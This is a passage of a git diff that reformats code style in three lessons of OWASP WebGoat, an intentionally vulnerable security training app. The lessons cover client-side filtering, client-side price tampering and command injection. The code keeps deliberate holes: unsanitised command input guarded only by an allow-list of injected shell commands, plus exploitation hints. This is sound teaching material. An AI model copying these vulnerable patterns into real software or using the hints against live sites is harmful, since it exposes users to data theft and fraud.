@@ -157,7 +163,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
}
- protected Element doStage2(WebSession s) {
+ protected Element doStage2(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
/**
@@ -168,31 +175,36 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file);
- if (content.indexOf("[Managers/Manager/text()") != -1) {
+ if (content.indexOf("[Managers/Manager/text()") != -1)
+ {
makeSuccess(s);
ec.addElement(stage2Content(s));
- } else {
+ }
+ else
+ {
ec.addElement(stage2Content(s));
}
return ec;
}
- protected ElementContainer stage1Content(WebSession s) {
+ protected ElementContainer stage1Content(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- try {
+ try
+ {
ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
- if (s.isColor()) {
+ if (s.isColor())
+ {
t1.setBorder(1);
}
TR tr = new TR();
- tr.addElement(new TD()
- .addElement("What is Neville Bartholomew's salary? "));
+ tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT"));
@@ -200,7 +212,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(t1);
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@@ -208,9 +221,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec;
}
- protected ElementContainer stage2Content(WebSession s) {
+ protected ElementContainer stage2Content(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- try {
+ try
+ {
ec.addElement(createMainContent(s));
@@ -219,22 +234,24 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
- if (s.isColor()) {
+ if (s.isColor())
+ {
t1.setBorder(1);
}
TR tr = new TR();
- /*tr.addElement(new TD()
- .addElement("Press 'Submit' when you believe you have completed the lesson."));
+ /*
+ * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have
+ * completed the lesson."));
*/
- Element b = ECSFactory
- .makeButton("Click here when you believe you have completed the lesson.");
+ Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr);
ec.addElement(t1);
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@@ -242,28 +259,25 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec;
}
- protected Select createDropDown() {
+ protected Select createDropDown()
+ {
Select select = new Select("UserSelect");
select.setID("UserSelect");
- org.apache.ecs.html.Option option = new org.apache.ecs.html.Option(
- "Choose Employee", "0", "Choose Employee");
+ org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Larry Stooge", "101",
- "Larry Stooge");
+ option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Curly Stooge", "103",
- "Curly Stooge");
+ option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Eric Walker", "104",
- "Eric Walker");
+ option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker");
select.addElement(option);
@@ -271,28 +285,23 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
select.addElement(option);
- option = new org.apache.ecs.html.Option("Jerry Mouse", "106",
- "Jerry Mouse");
+ option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse");
select.addElement(option);
- option = new org.apache.ecs.html.Option("David Giambi", "107",
- "David Giambi");
+ option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Bruce McGuirre", "108",
- "Bruce McGuirre");
+ option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Sean Livingston", "109",
- "Sean Livingston");
+ option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston");
select.addElement(option);
- option = new org.apache.ecs.html.Option("Joanne McDougal", "110",
- "Joanne McDougal");
+ option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal");
select.addElement(option);
@@ -304,7 +313,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
}
- protected Category getDefaultCategory() {
+ protected Category getDefaultCategory()
+ {
return Category.AJAX_SECURITY;
}
@@ -313,17 +323,16 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
*
* @return The hints value
*/
- public List getHints(WebSession s) {
+ public List getHints(WebSession s)
+ {
List hints = new ArrayList();
hints
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
- hints
- .add("Use Firebug to find where the information is stored on the client side.");
+ hints.add("Use Firebug to find where the information is stored on the client side.");
- hints
- .add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
+ hints.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Look in the last row of the hidden table.");
@@ -333,31 +342,33 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
hints.add("The server uses an XPath query agasinst an XML database.");
- hints
- .add("The query currently returns all of the contents of the database.");
+ hints.add("The query currently returns all of the contents of the database.");
hints
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
hints.add("Try using a filter operator.");
- hints
- .add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
+ hints.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
return hints;
}
- public String getInstructions(WebSession s) {
+ public String getInstructions(WebSession s)
+ {
String instructions = "";
- if (getLessonTracker(s).getStage() == 1) {
+ if (getLessonTracker(s).getStage() == 1)
+ {
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, "
+ "examine the contents of the page to see what extra information you can find.";
- } else if (getLessonTracker(s).getStage() == 2) {
+ }
+ else if (getLessonTracker(s).getStage() == 2)
+ {
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see.";
}
@@ -366,7 +377,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(10);
- protected Integer getDefaultRanking() {
+ protected Integer getDefaultRanking()
+ {
return DEFAULT_RANKING;
}
@@ -392,28 +404,37 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The title value
*/
- public String getTitle() {
+ public String getTitle()
+ {
return ("LAB: Client Side Filtering");
}
- private String getFileContent(String content) {
+ private String getFileContent(String content)
+ {
BufferedReader is = null;
StringBuffer sb = new StringBuffer();
- try {
+ try
+ {
is = new BufferedReader(new FileReader(new File(content)));
String s = null;
- while ((s = is.readLine()) != null) {
+ while ((s = is.readLine()) != null)
+ {
sb.append(s);
}
- } catch (Exception e) {
+ } catch (Exception e)
+ {
e.printStackTrace();
- } finally {
- if (is != null) {
- try {
+ } finally
+ {
+ if (is != null)
+ {
+ try
+ {
is.close();
- } catch (IOException ioe) {
+ } catch (IOException ioe)
+ {
}
}
@@ -422,7 +443,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return sb.toString();
}
- public Element getCredits() {
+ public Element getCredits()
+ {
return super.getCustomCredits("", ASPECT_LOGO);
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java
index fc48ebdb7..41010e813 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -21,58 +21,67 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
-public class ClientSideValidation extends SequentialLessonAdapter {
+
+public class ClientSideValidation extends SequentialLessonAdapter
+{
/**
* Description of the Method
- *
+ *
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true;
- protected Element createContent(WebSession s) {
+ protected Element createContent(WebSession s)
+ {
return super.createStagedContent(s);
}
- protected Element doStage1(WebSession s) {
+ protected Element doStage1(WebSession s)
+ {
return evalStage1(s);
}
- protected Element doStage2(WebSession s) {
+ protected Element doStage2(WebSession s)
+ {
return stage2Content(s);
}
- protected Element evalStage1(WebSession s) {
+ protected Element evalStage1(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
- //test success
+ // test success
- if (param1.equalsIgnoreCase("platinum")
- || param1.equalsIgnoreCase("gold")
- || param1.equalsIgnoreCase("silver")
- || param1.equalsIgnoreCase("bronze")
- || param1.equalsIgnoreCase("pressone")
- || param1.equalsIgnoreCase("presstwo")) {
+ if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver")
+ || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone")
+ || param1.equalsIgnoreCase("presstwo"))
+ {
getLessonTracker(s).setStage(2);
- //s.resetHintCount();
+ // s.resetHintCount();
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
- } else {
- if (!stage1FirstVisit) {
+ }
+ else
+ {
+ if (!stage1FirstVisit)
+ {
s.setMessage("Keep looking for the coupon code.");
}
stage1FirstVisit = false;
@@ -84,21 +93,18 @@ public class ClientSideValidation extends SequentialLessonAdapter {
}
-
- protected Element stage1Content(WebSession s) {
+ protected Element stage1Content(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- try {
-
-
- ec.addElement(new Script()
- .setSrc("javascript/clientSideValidation.js"));
+ try
+ {
+ ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new Center().addElement(new H1()
- .addElement("Shopping Cart")));
+ ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
@@ -106,27 +112,26 @@ public class ClientSideValidation extends SequentialLessonAdapter {
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
-
-
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
- protected Element stage2Content(WebSession s) {
+ protected Element stage2Content(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- try {
+ try
+ {
- ec.addElement(new Script()
- .setSrc("javascript/clientSideValidation.js"));
+ ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
- ec.addElement(new Center().addElement(new H1()
- .addElement("Shopping Cart")));
+ ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
@@ -136,62 +141,63 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// test success
- float grandTotal = s.getParser()
- .getFloatParameter("GRANDTOT", 0.0f);
+ float grandTotal = s.getParser().getFloatParameter("GRANDTOT", 0.0f);
- if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) {
+ if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit)
+ {
makeSuccess(s);
- } else {
+ }
+ else
+ {
- if (!stage2FirstVisit) {
+ if (!stage2FirstVisit)
+ {
s.setMessage("Your order isn't free yet.");
}
stage2FirstVisit = false;
}
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
- protected ElementContainer createTotalTable(WebSession s) {
+ protected ElementContainer createTotalTable(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
- String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
- "field2", "4128 3214 0002 1999"));
+ String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
- .setWidth("90%").setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
- if (s.isColor()) {
+ if (s.isColor())
+ {
t.setBorder(1);
}
ec.addElement(new BR());
TR tr = new TR();
- tr.addElement(new TD()
- .addElement("Total before coupon is applied:"));
+ tr.addElement(new TD().addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "SUBTOT", s.getParser()
- .getStringParameter("SUBTOT", "0")).setReadOnly(true))
- .setAlign("right"));
+ new Input(Input.TEXT, "SUBTOT", s.getParser().getStringParameter("SUBTOT",
+ "0"))
+ .setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
- tr.addElement(new TD()
- .addElement("Total to be charged to your credit card:"));
+ tr.addElement(new TD().addElement("Total to be charged to your credit card:"));
- tr.addElement(new TD()
- .addElement(
- new Input(Input.TEXT, "GRANDTOT", s.getParser()
- .getStringParameter("GRANDTOT", "0"))
- .setReadOnly(true)).setAlign("right"));
+ tr.addElement(new TD().addElement(
+ new Input(Input.TEXT, "GRANDTOT", s.getParser()
+ .getStringParameter("GRANDTOT", "0")).setReadOnly(true))
+ .setAlign("right"));
t.addElement(tr);
t.addElement(tr);
@@ -201,8 +207,7 @@ public class ClientSideValidation extends SequentialLessonAdapter {
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
- tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
- param2)));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:"));
@@ -222,7 +227,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
}
- protected int getTotalQty(WebSession s) {
+ protected int getTotalQty(WebSession s)
+ {
int quantity = 0;
@@ -234,36 +240,33 @@ public class ClientSideValidation extends SequentialLessonAdapter {
return quantity;
}
- protected ElementContainer createQtyTable(WebSession s) {
+ protected ElementContainer createQtyTable(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
- .setWidth("90%").setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
- if (s.isColor()) {
+ if (s.isColor())
+ {
t.setBorder(1);
}
TR tr = new TR();
- tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now")
- .setWidth("70%"));
+ tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr);
tr = new TR();
- tr
- .addElement(new TD()
- .addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
-
+ tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter(
- "PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right"));
+ new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1",
+ "69.99"))
+ .setSize(10).setReadOnly(true)).setAlign("right"));
- Input input = new Input(Input.TEXT, "QTY1", s.getParser()
- .getStringParameter("QTY1", "0"));
+ Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();");
@@ -271,114 +274,102 @@ public class ClientSideValidation extends SequentialLessonAdapter {
tr.addElement(new TD().addElement(input).setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter(
- "TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
+ tr.addElement(new TD()
+ .addElement(
+ new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", "0")).setSize(10)
+ .setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter(
- "PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right"));
+ new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2",
+ "27.99"))
+ .setSize(10).setReadOnly(true)).setAlign("right"));
- input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter(
- "QTY2", "0"));
+ input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter(
- "TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
+ tr.addElement(new TD()
+ .addElement(
+ new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", "0")).setSize(10)
+ .setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
- tr
- .addElement(new TD()
- .addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
-
+ tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter(
- "PRC3", "1599.99")).setSize(10).setReadOnly(true))
- .setAlign("right"));
+ new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3",
+ "1599.99"))
+ .setSize(10).setReadOnly(true)).setAlign("right"));
- input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter(
- "QTY3", "0"));
+ input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
-
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter(
- "TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
+ tr.addElement(new TD()
+ .addElement(
+ new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", "0")).setSize(10)
+ .setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
- tr
- .addElement(new TD()
- .addElement("3 - Year Performance Service Plan $1000 and Over "));
+ tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
+ tr.addElement(new TD().addElement(
+ new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4",
+ "299.99"))
+ .setSize(10).setReadOnly(true)).setAlign("right"));
- tr
- .addElement(new TD().addElement(
- new Input(Input.TEXT, "PRC4", s.getParser()
- .getStringParameter("PRC4", "299.99")).setSize(10)
- .setReadOnly(true)).setAlign("right"));
-
- input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter(
- "QTY4", "0"));
+ input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
-
- tr.addElement(new TD().addElement(
- new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter(
- "TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
+ tr.addElement(new TD()
+ .addElement(
+ new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", "0")).setSize(10)
+ .setReadOnly(true)).setAlign("right"));
t.addElement(tr);
ec.addElement(t);
return ec;
}
- protected Category getDefaultCategory() {
+ protected Category getDefaultCategory()
+ {
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
- *
+ *
* @return The hints value
*/
-
public List getHints(WebSession s)
- {
+ {
List hints = new ArrayList();
-
-
-
hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
- hints.add("Use Firebug to find the array of encrypted coupon codes, and " +
- "step through the JavaScript to see the decrypted values.");
+ hints.add("Use Firebug to find the array of encrypted coupon codes, and "
+ + "step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML.");
- hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " +
- "'The total charged to your credit card:' and set the value to 0.");
-
-
+ hints.add("Use Firebug to remove the 'readonly' attribute from the input next to "
+ + "'The total charged to your credit card:' and set the value to 0.");
return hints;
@@ -386,16 +377,19 @@ public class ClientSideValidation extends SequentialLessonAdapter {
/**
* Gets the instructions attribute of the WeakAccessControl object
- *
+ *
* @return The instructions value
*/
- public String getInstructions(WebSession s) {
+ public String getInstructions(WebSession s)
+ {
String instructions = "";
- if (getLessonTracker(s).getStage() == 1) {
+ if (getLessonTracker(s).getStage() == 1)
+ {
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
}
- else if (getLessonTracker(s).getStage() == 2) {
+ else if (getLessonTracker(s).getStage() == 2)
+ {
instructions = "STAGE 2:\tNow, try to get your entire order for free.";
}
return (instructions);
@@ -403,21 +397,23 @@ public class ClientSideValidation extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(120);
- protected Integer getDefaultRanking() {
+ protected Integer getDefaultRanking()
+ {
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
- *
+ *
* @return The title value
*/
- public String getTitle() {
+ public String getTitle()
+ {
return "Insecure Client Storage";
}
public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java
index 0fd458fd7..fdc592aa3 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.File;
@@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.StringTokenizer;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -17,337 +17,297 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Bruce Mayhew WebGoat
- * @created October 28, 2003
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
*/
public class CommandInjection extends LessonAdapter
{
- private final static String HELP_FILE = "HelpFile";
+ private final static String HELP_FILE = "HelpFile";
- private String osName = System.getProperty("os.name");
+ private String osName = System.getProperty("os.name");
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
- boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- String helpFile = s.getParser().getRawParameter(HELP_FILE,
- "BasicAuthentication.help");
- if (getWebgoatContext().isDefuseOSCommands()
- && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
- {
- int index = helpFile.indexOf('&');
- if (index == -1)
+ ElementContainer ec = new ElementContainer();
+ boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
+ try
{
- index = helpFile.indexOf(';');
- }
- index = index + 1;
- int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
- System.out.println("Command = ["
- + helpFile.substring(index, helpFileLen).trim()
- .toLowerCase() + "]");
- if ((osName.indexOf("Windows") != -1 && (helpFile.substring(
- index, helpFileLen).trim().toLowerCase().equals(
- "netstat -a")
- || helpFile.substring(index, helpFileLen).trim()
- .toLowerCase().equals("dir")
- || helpFile.substring(index, helpFileLen).trim()
- .toLowerCase().equals("ls")
- || helpFile.substring(index, helpFileLen).trim()
- .toLowerCase().equals("ifconfig") || helpFile
- .substring(index, helpFileLen).trim().toLowerCase()
- .equals("ipconfig")))
- || (helpFile.substring(index, helpFileLen).trim()
- .toLowerCase().equals("netstat -a #")
- || helpFile.substring(index, helpFileLen)
- .trim().toLowerCase().equals("dir #")
- || helpFile.substring(index, helpFileLen)
- .trim().toLowerCase().equals("ls #")
- || helpFile.substring(index, helpFileLen)
- .trim().toLowerCase().equals("ls -l #")
- || helpFile.substring(index, helpFileLen)
- .trim().toLowerCase().equals(
- "ifconfig #") || helpFile
- .substring(index, helpFileLen).trim()
- .toLowerCase().equals("ipconfig #")))
- {
- illegalCommand = false;
- }
- else
- {
- s
- .setMessage("It appears that you are on the right track. "
- + "Commands that may compromise the operating system have been disabled. "
- + "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
- }
- }
+ String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help");
+ if (getWebgoatContext().isDefuseOSCommands()
+ && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
+ {
+ int index = helpFile.indexOf('&');
+ if (index == -1)
+ {
+ index = helpFile.indexOf(';');
+ }
+ index = index + 1;
+ int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
+ System.out.println("Command = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]");
+ if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase()
+ .equals("netstat -a")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile
+ .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig")))
+ || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #")
+ || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile
+ .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #")))
+ {
+ illegalCommand = false;
+ }
+ else
+ {
+ s.setMessage("It appears that you are on the right track. "
+ + "Commands that may compromise the operating system have been disabled. "
+ + "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
+ }
+ }
- if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1
- && helpFile.indexOf(';') == -1)
- {
- if (helpFile.length() > 0)
- {
- if (upDirCount(helpFile) <= 3)
- {
- // FIXME: This value isn't used. What is the goal here?
- s.getContext().getRealPath("/");
- illegalCommand = false;
- }
- else
- {
- s
- .setMessage("It appears that you are on the right track. "
- + "Commands that may compromise the operating system have been disabled. "
